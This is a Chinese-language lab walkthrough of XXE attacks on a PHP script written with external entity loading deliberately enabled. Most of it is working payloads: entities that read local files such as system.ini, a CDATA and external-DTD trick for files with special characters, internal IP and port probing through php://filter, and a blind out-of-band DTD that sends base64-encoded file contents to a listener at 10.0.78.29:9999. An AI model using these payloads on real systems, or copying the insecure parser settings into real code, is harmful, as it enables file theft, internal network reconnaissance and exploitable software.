环境:phpstudy+xml.php
无回显用到虚拟机kali
Xml.php代码如下:
<?php
libxml_disable_entity_loader (false); //这里相当于开启外部实体
//若为true,则表示禁用外部实体
$xmlfile = file_get_contents('php://input');
//可以获取POST来的数据
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
//LIBXML_NOENT:将XML中的实体引用替换成对应的值
//LIBXML_DTDLOAD:加载DOCTYPE中的DTD文件
$creds = simplexml_import_dom($dom);
//获取DOM文档节点并转换为SimpleXML节点
echo $creds;
?>
一.有回显
1.读取本地文件(不含有&,<,>,”,’等特殊字符)
<1>访问xml.php
<2>输入xxe
代码如下:
<?xml version=”1.0” encoding=”utf-8”?>
<!DOCTYPE creds [
<!ENTITY f SYSTEM “file:///c:/windows/system.ini”> ]>
<creds>&f;</creds>
得到如下结果:
发现成功读取本地文件
换个路径试试,发现都是可以成功的
2.读取本地文件(含有特殊字符)
通过第一种方法访问文件内容中含有特殊字符的文件会报错,
因为因此需要借助CDATA,CDATA中的所有字符都会被当作元素字符数据的常量部分,而不是xml标记
<1>访问xml.php
<2>写好外部实体evil.dtd
相关代码:
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY all "%start;%goodies;%end;">
<3>输入xxe
代码如下:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE roottag [
<!ENTITY % start "<![CDATA[">
<!ENTITY % goodies SYSTEM "file:///E:/phpStudy/PHPTutorial/WWW/XXE/1.txt">
<!ENTITY % end "]]>">
<!ENTITY % dtd SYSTEM "http://127.0.0.1:81/XXE/evil.dtd">
%dtd; ]>
<roottag>&all;</roottag>
得到如下结果:
发现成功读取有特殊字符的文件
3.内网ip探测
<1>访问xml.php
<2>输入xxe
代码如下:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE creds [
<!ENTITY goodies SYSTEM "php://filter/convert.base64-encode/resource=http://10.0.78.4"> ]>
<creds>&goodies;</creds>
得到如下结果:
红色圈表示该ip存在
乱码并且没有出现上面红圈说明该ip不存在(可以利用burp重放更便利)
也可以根据响应时间长短进行判断ip是否存在
4.内网端口探测
同3输入xxe
代码如下:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE creds [
<!ENTITY goodies SYSTEM "php://filter/convert.base64-encode/resource=http://10.0.78.4:80"> ]>
<creds>&goodies;</creds>
仍然可以根据3的两种判断方法进行判断端口是否开放,如果有报错,可以直接探测出banner信息
二.无回显
xml.php2代码如下:
<?php
libxml_disable_entity_loader (false);
//若为true,则表示禁用外部实体
$xmlfile = file_get_contents('php://input');
//可以获取POST来的数据
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
?>
xml.php2是无回显的
因此我们需要使用外带数据通道提取数据,可以通过监听端口来显示
<1>访问xml2.php
<2>写好外部实体evil2.dtd
代码如下:
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/windows/system.ini">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://10.0.78.29:9999?p=%file;'>">
<3>输入xxe
代码如下:
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://10.0.78.4:81/XXE/evil2.dtd">
%remote;%int;%send;
]>
得到结果如下:
成功读取该文件